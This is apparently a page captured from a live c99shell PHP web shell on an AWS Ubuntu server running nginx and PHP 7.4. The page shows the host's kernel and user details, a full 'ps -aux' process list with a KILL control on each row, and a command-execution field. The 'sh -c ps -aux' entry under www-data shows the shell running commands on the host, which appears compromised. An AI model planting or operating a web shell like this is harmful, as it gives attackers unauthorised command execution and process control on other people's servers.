Software: nginx/1.18.0. PHP/7.4.29 uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /proc/131/task/ dr-xr-xr-x | |
| Processes: | ||||||||||||||||||||||||||||||
| USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
| root | 1 0.0 0.5 101724 10212 ? Ss 01:21 0:07 /sbin/init | KILL | ||||||||||||||||||||||||||||
| root | 153 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/50-ACPI:Eve] | KILL | |||||||||||||||||||||||||||
| root | 334 | 0.0 0.8 279920 16296 ? SLsl 01:21 0:01 /sbin/multipathd -d -s | KILL | |||||||||||||||||||||||||||
| root | 333 | 0.0 0.0 0 0 ? I< 01:21 0:00 [kmpath_handlerd] | KILL | |||||||||||||||||||||||||||
| root | 332 | 0.0 0.0 0 0 ? I< 01:21 0:00 [kmpathd] | KILL | |||||||||||||||||||||||||||
| root | 331 | 0.0 0.0 0 0 ? I< 01:21 0:00 [kmpath_rdacd] | KILL | |||||||||||||||||||||||||||
| root | 330 | 0.0 0.0 0 0 ? I< 01:21 0:00 [kaluad] | KILL | |||||||||||||||||||||||||||
| root | 283 | 0.0 0.0 0 0 ? I< 01:21 0:00 [cryptd] | KILL | |||||||||||||||||||||||||||
| root | 250 | 0.0 0.0 0 0 ? I< 01:21 0:00 [ena] | KILL | |||||||||||||||||||||||||||
| root | 234 | 0.0 0.2 18676 4808 ? Ss 01:21 0:00 /lib/systemd/systemd-udevd | KILL | |||||||||||||||||||||||||||
| root | 197 | 0.0 1.1 59204 21984 ? S<s 01:21 0:00 /lib/systemd/systemd-journald | KILL | |||||||||||||||||||||||||||
| root | 159 | 0.0 0.0 0 0 ? I< 01:21 0:00 [kworker/0:1H-kblockd] | KILL | |||||||||||||||||||||||||||
| root | 156 | 0.0 0.0 0 0 ? I< 01:21 0:00 [ext4-rsv-conver] | KILL | |||||||||||||||||||||||||||
| root | 155 | 0.0 0.0 0 0 ? S 01:21 0:01 [jbd2/nvme0n1p1-] | KILL | |||||||||||||||||||||||||||
| root | 154 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/51-ACPI:Eve] | KILL | |||||||||||||||||||||||||||
| root | 152 | 0.0 0.0 0 0 ? I< 01:21 0:00 [charger_manager] | KILL | |||||||||||||||||||||||||||
| systemd+ | 447 | 0.0 | 0.3 | 26280 6636 ? Ss 01:21 0:00 /lib/systemd/systemd-networkd | KILL | |||||||||||||||||||||||||
| root | 147 | 0.0 0.0 0 0 ? I< 01:21 0:00 [kworker/u5:0] | KILL | |||||||||||||||||||||||||||
| root | 146 | 0.0 0.0 0 0 ? I< 01:21 0:00 [zswap-shrink] | KILL | |||||||||||||||||||||||||||
| root | 143 | 0.0 0.0 0 0 ? I< 01:21 0:00 [kstrp] | KILL | |||||||||||||||||||||||||||
| root | 134 | 0.0 0.0 0 0 ? I< 01:21 0:00 [ipv6_addrconf] | KILL | |||||||||||||||||||||||||||
| root | 133 | 0.0 0.0 0 0 ? I< 01:21 0:00 [mld] | KILL | |||||||||||||||||||||||||||
| root | 131 | 0.0 0.0 0 0 ? I< 01:21 0:00 [nvme-delete-wq] | KILL | |||||||||||||||||||||||||||
| root | 130 | 0.0 0.0 0 0 ? I< 01:21 0:00 [nvme-reset-wq] | KILL | |||||||||||||||||||||||||||
| root | 129 | 0.0 0.0 0 0 ? I< 01:21 0:00 [nvme-wq] | KILL | |||||||||||||||||||||||||||
| root | 128 | 0.0 0.0 0 0 ? I< 01:21 0:00 [acpi_thermal_pm] | KILL | |||||||||||||||||||||||||||
| root | 127 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/48-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 126 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/47-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 125 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/46-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 124 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/45-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 123 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/44-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| systemd+ | 381 | 0.0 | 0.3 | 89936 6308 ? Ssl 01:21 0:00 /lib/systemd/systemd-timesyncd | KILL | |||||||||||||||||||||||||
| systemd+ | 450 | 0.0 | 0.6 | 24808 11932 ? Ss 01:21 0:01 /lib/systemd/systemd-resolved | KILL | |||||||||||||||||||||||||
| root | 121 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/42-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| www-data | 631 | 0.0 | 0.5 | 62048 10836 ? S 01:21 0:00 nginx: worker process | KILL | |||||||||||||||||||||||||
| www-data | 247732 | 0.0 | 0.0 | 2060 | 452 ? S 07:29 0:00 sh -c ps -aux | KILL | ||||||||||||||||||||||||
| root | 247245 | 0.0 | 0.0 0 0 ? I 07:29 0:00 [kworker/u4:1-events_power_efficient] | KILL | ||||||||||||||||||||||||||
| root | 244512 | 0.0 | 0.0 0 0 ? I 07:23 0:00 [kworker/u4:2-ext4-rsv-conversion] | KILL | ||||||||||||||||||||||||||
| root | 237797 | 0.0 | 0.0 0 0 ? I 07:09 0:00 [kworker/1:1-events] | KILL | ||||||||||||||||||||||||||
| www-data | 230604 | 1.8 | 3.0 | 292668 | 57468 | ? | S 06:57 0:36 php-fpm: pool www | KILL | ||||||||||||||||||||||
| root | 211948 | 0.0 | 0.0 0 0 ? I 06:47 0:00 [kworker/u4:0-events_power_efficient] | KILL | ||||||||||||||||||||||||||
| root | 205442 | 0.0 | 0.0 0 0 ? I 06:39 0:00 [kworker/0:2-cgroup_destroy] | KILL | ||||||||||||||||||||||||||
| root | 155702 | 0.0 | 0.0 0 0 ? I 05:39 0:00 [kworker/0:1-events] | KILL | ||||||||||||||||||||||||||
| www-data | 42426 | 2.7 | 3.2 | 293728 | 61468 | ? S 02:32 8:05 php-fpm: pool www | KILL | |||||||||||||||||||||||
| www-data | 35974 | 2.7 | 3.3 | 292960 | 63800 | ? S 02:30 8:18 php-fpm: pool www | KILL | |||||||||||||||||||||||
| root | 3819 | 0.0 0.0 1924 460 ? S 01:25 0:00 bpfilter_umh | KILL | |||||||||||||||||||||||||||
| root | 685 | 0.0 0.3 12236 6496 ? Ss 01:21 0:00 sshd: /usr/sbin/sshd -D -o AuthorizedKeysCommand /usr/share/ec2-instance-connect/eic_run_authorized_keys %u %f -o AuthorizedKeysCommandUser ec2-instance-connect [listener] 0 of 10-100 startups | KILL | |||||||||||||||||||||||||||
| mysql | 669 | 0.7 24.0 1826348 455372 ? Ssl 01:21 2:36 /usr/sbin/mysqld | KILL | |||||||||||||||||||||||||||
| www-data | 632 | 0.1 | 0.6 | 62452 12344 ? S 01:21 0:40 nginx: worker process | KILL | |||||||||||||||||||||||||
| root | 627 | 0.0 0.0 61600 1744 ? Ss 01:21 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; | KILL | |||||||||||||||||||||||||||
| root | 485 | 0.0 0.3 237636 6740 ? Ssl 01:21 0:00 /usr/lib/accountsservice/accounts-daemon | KILL | |||||||||||||||||||||||||||
| root | 602 | 0.0 1.0 107848 19324 ? Ssl 01:21 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal | KILL | |||||||||||||||||||||||||||
| root | 585 | 0.0 0.3 232964 6060 ? Ssl 01:21 0:00 /usr/lib/policykit-1/polkitd --no-debug | KILL | |||||||||||||||||||||||||||
| root | 557 | 0.0 0.0 5316 1396 tty1 Ss+ 01:21 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux | KILL | |||||||||||||||||||||||||||
| root | 555 | 0.0 0.0 6840 1808 ttyS0 Ss+ 01:21 0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220 | KILL | |||||||||||||||||||||||||||
| daemon | 523 | 0.0 | 0.1 3600 1896 ? Ss 01:21 0:00 /usr/sbin/atd -f | KILL | ||||||||||||||||||||||||||
| root | 517 | 0.0 0.3 16300 6688 ? Ss 01:21 0:00 /lib/systemd/systemd-logind | KILL | |||||||||||||||||||||||||||
| root | 513 | 0.0 1.9 1848036 36824 ? Ssl 01:21 0:04 /usr/lib/snapd/snapd | KILL | |||||||||||||||||||||||||||
| root | 510 | 0.0 1.0 1829972 18972 ? Ssl 01:21 0:03 /snap/amazon-ssm-agent/11798/amazon-ssm-agent | KILL | |||||||||||||||||||||||||||
| syslog | 509 | 0.0 | 0.2 221184 4176 ? Ssl 01:21 0:00 /usr/sbin/rsyslogd -n -iNONE | KILL | ||||||||||||||||||||||||||
| root | 508 | 0.0 1.2 213632 23996 ? Ss 01:21 0:01 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf) | KILL | |||||||||||||||||||||||||||
| root | 504 | 0.0 0.9 29628 17232 ? Ss 01:21 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers | KILL | |||||||||||||||||||||||||||
| root | 501 | 0.0 0.1 80936 2996 ? Ssl 01:21 0:01 /usr/sbin/irqbalance --foreground | KILL | |||||||||||||||||||||||||||
| message+ | 490 | 0.0 | 0.2 | 8012 4048 ? Ss 01:21 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only | KILL | |||||||||||||||||||||||||
| root | 488 | 0.0 0.1 8344 2580 ? Ss 01:21 0:00 /usr/sbin/cron -f | KILL | |||||||||||||||||||||||||||
| root | 122 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/43-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 120 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/41-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 2 0.0 0.0 0 0 ? S 01:21 0:00 [kthreadd] | KILL | ||||||||||||||||||||||||||||
| root | 21 0.0 0.0 0 0 ? S 01:21 0:00 [migration/1] | KILL | ||||||||||||||||||||||||||||
| root | 81 0.0 0.0 0 0 ? I< 01:21 0:00 [kblockd] | KILL | ||||||||||||||||||||||||||||
| root | 80 0.0 0.0 0 0 ? I< 01:21 0:00 [kintegrityd] | KILL | ||||||||||||||||||||||||||||
| root | 33 0.0 0.0 0 0 ? SN 01:21 0:00 [khugepaged] | KILL | ||||||||||||||||||||||||||||
| root | 32 0.0 0.0 0 0 ? SN 01:21 0:00 [ksmd] | KILL | ||||||||||||||||||||||||||||
| root | 31 0.0 0.0 0 0 ? S 01:21 0:00 [kcompactd0] | KILL | ||||||||||||||||||||||||||||
| root | 30 0.0 0.0 0 0 ? I< 01:21 0:00 [writeback] | KILL | ||||||||||||||||||||||||||||
| root | 29 0.0 0.0 0 0 ? S 01:21 0:00 [oom_reaper] | KILL | ||||||||||||||||||||||||||||
| root | 28 0.0 0.0 0 0 ? S 01:21 0:00 [khungtaskd] | KILL | ||||||||||||||||||||||||||||
| root | 27 0.0 0.0 0 0 ? S 01:21 0:00 [kauditd] | KILL | ||||||||||||||||||||||||||||
| root | 26 0.0 0.0 0 0 ? I< 01:21 0:00 [inet_frag_wq] | KILL | ||||||||||||||||||||||||||||
| root | 25 0.0 0.0 0 0 ? S 01:21 0:00 [kdevtmpfs] | KILL | ||||||||||||||||||||||||||||
| root | 24 0.0 0.0 0 0 ? I< 01:21 0:00 [kworker/1:0H-events_highpri] | KILL | ||||||||||||||||||||||||||||
| root | 23 0.0 0.0 0 0 ? I 01:21 0:01 [kworker/1:0-mm_percpu_wq] | KILL | ||||||||||||||||||||||||||||
| root | 22 0.0 0.0 0 0 ? S 01:21 0:01 [ksoftirqd/1] | KILL | ||||||||||||||||||||||||||||
| root | 20 0.0 0.0 0 0 ? S 01:21 0:00 [idle_inject/1] | KILL | ||||||||||||||||||||||||||||
| root | 83 0.0 0.0 0 0 ? I< 01:21 0:00 [tpm_dev_wq] | KILL | ||||||||||||||||||||||||||||
| root | 19 0.0 0.0 0 0 ? S 01:21 0:00 [cpuhp/1] | KILL | ||||||||||||||||||||||||||||
| root | 18 0.0 0.0 0 0 ? S 01:21 0:00 [cpuhp/0] | KILL | ||||||||||||||||||||||||||||
| root | 16 0.0 0.0 0 0 ? S 01:21 0:00 [idle_inject/0] | KILL | ||||||||||||||||||||||||||||
| root | 15 0.0 0.0 0 0 ? S 01:21 0:00 [migration/0] | KILL | ||||||||||||||||||||||||||||
| root | 14 0.0 0.0 0 0 ? I 01:21 0:06 [rcu_sched] | KILL | ||||||||||||||||||||||||||||
| root | 13 0.0 0.0 0 0 ? S 01:21 0:01 [ksoftirqd/0] | KILL | ||||||||||||||||||||||||||||
| root | 12 0.0 0.0 0 0 ? S 01:21 0:00 [rcu_tasks_trace] | KILL | ||||||||||||||||||||||||||||
| root | 11 0.0 0.0 0 0 ? S 01:21 0:00 [rcu_tasks_rude_] | KILL | ||||||||||||||||||||||||||||
| root | 10 0.0 0.0 0 0 ? I< 01:21 0:00 [mm_percpu_wq] | KILL | ||||||||||||||||||||||||||||
| root | 8 0.0 0.0 0 0 ? I< 01:21 0:00 [kworker/0:0H-events_highpri] | KILL | ||||||||||||||||||||||||||||
| root | 6 0.0 0.0 0 0 ? I< 01:21 0:00 [netns] | KILL | ||||||||||||||||||||||||||||
| root | 5 0.0 0.0 0 0 ? I< 01:21 0:00 [slub_flushwq] | KILL | ||||||||||||||||||||||||||||
| root | 4 0.0 0.0 0 0 ? I< 01:21 0:00 [rcu_par_gp] | KILL | ||||||||||||||||||||||||||||
| root | 3 0.0 0.0 0 0 ? I< 01:21 0:00 [rcu_gp] | KILL | ||||||||||||||||||||||||||||
| root | 82 0.0 0.0 0 0 ? I< 01:21 0:00 [blkcg_punt_bio] | KILL | ||||||||||||||||||||||||||||
| root | 84 0.0 0.0 0 0 ? I< 01:21 0:00 [ata_sff] | KILL | ||||||||||||||||||||||||||||
| root | 119 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/40-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 104 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/25-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 118 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/39-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 117 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/38-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 116 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/37-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 115 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/36-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 114 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/35-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 113 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/34-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 112 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/33-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 111 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/32-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 110 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/31-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 109 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/30-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 108 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/29-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 107 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/28-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 106 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/27-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 105 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/26-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 103 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/24-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 85 0.0 0.0 0 0 ? I< 01:21 0:00 [md] | KILL | ||||||||||||||||||||||||||||
| root | 102 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/23-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 101 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/22-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 100 | 0.0 0.0 0 0 ? S 01:21 0:00 [irq/21-ACPI:Ged] | KILL | |||||||||||||||||||||||||||
| root | 99 0.0 0.0 0 0 ? S 01:21 0:00 [irq/20-ACPI:Ged] | KILL | ||||||||||||||||||||||||||||
| root | 98 0.0 0.0 0 0 ? S 01:21 0:00 [irq/19-ACPI:Ged] | KILL | ||||||||||||||||||||||||||||
| root | 97 0.0 0.0 0 0 ? S 01:21 0:00 [irq/18-ACPI:Ged] | KILL | ||||||||||||||||||||||||||||
| root | 96 0.0 0.0 0 0 ? S 01:21 0:00 [irq/17-ACPI:Ged] | KILL | ||||||||||||||||||||||||||||
| root | 95 0.0 0.0 0 0 ? I< 01:21 0:00 [kthrotld] | KILL | ||||||||||||||||||||||||||||
| root | 93 0.0 0.0 0 0 ? S 01:21 0:00 [ecryptfs-kthrea] | KILL | ||||||||||||||||||||||||||||
| root | 92 0.0 0.0 0 0 ? S 01:21 0:00 [kswapd0] | KILL | ||||||||||||||||||||||||||||
| root | 90 0.0 0.0 0 0 ? I< 01:21 0:00 [kworker/1:1H-kblockd] | KILL | ||||||||||||||||||||||||||||
| root | 88 0.0 0.0 0 0 ? S 01:21 0:00 [watchdogd] | KILL | ||||||||||||||||||||||||||||
| root | 87 0.0 0.0 0 0 ? I< 01:21 0:00 [devfreq_wq] | KILL | ||||||||||||||||||||||||||||
| root | 86 0.0 0.0 0 0 ? I< 01:21 0:00 [edac-poller] | KILL | ||||||||||||||||||||||||||||
| www-data | 247733 | 0.0 | 0.1 | 6408 | 2696 ? R 07:29 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.013 ]-- |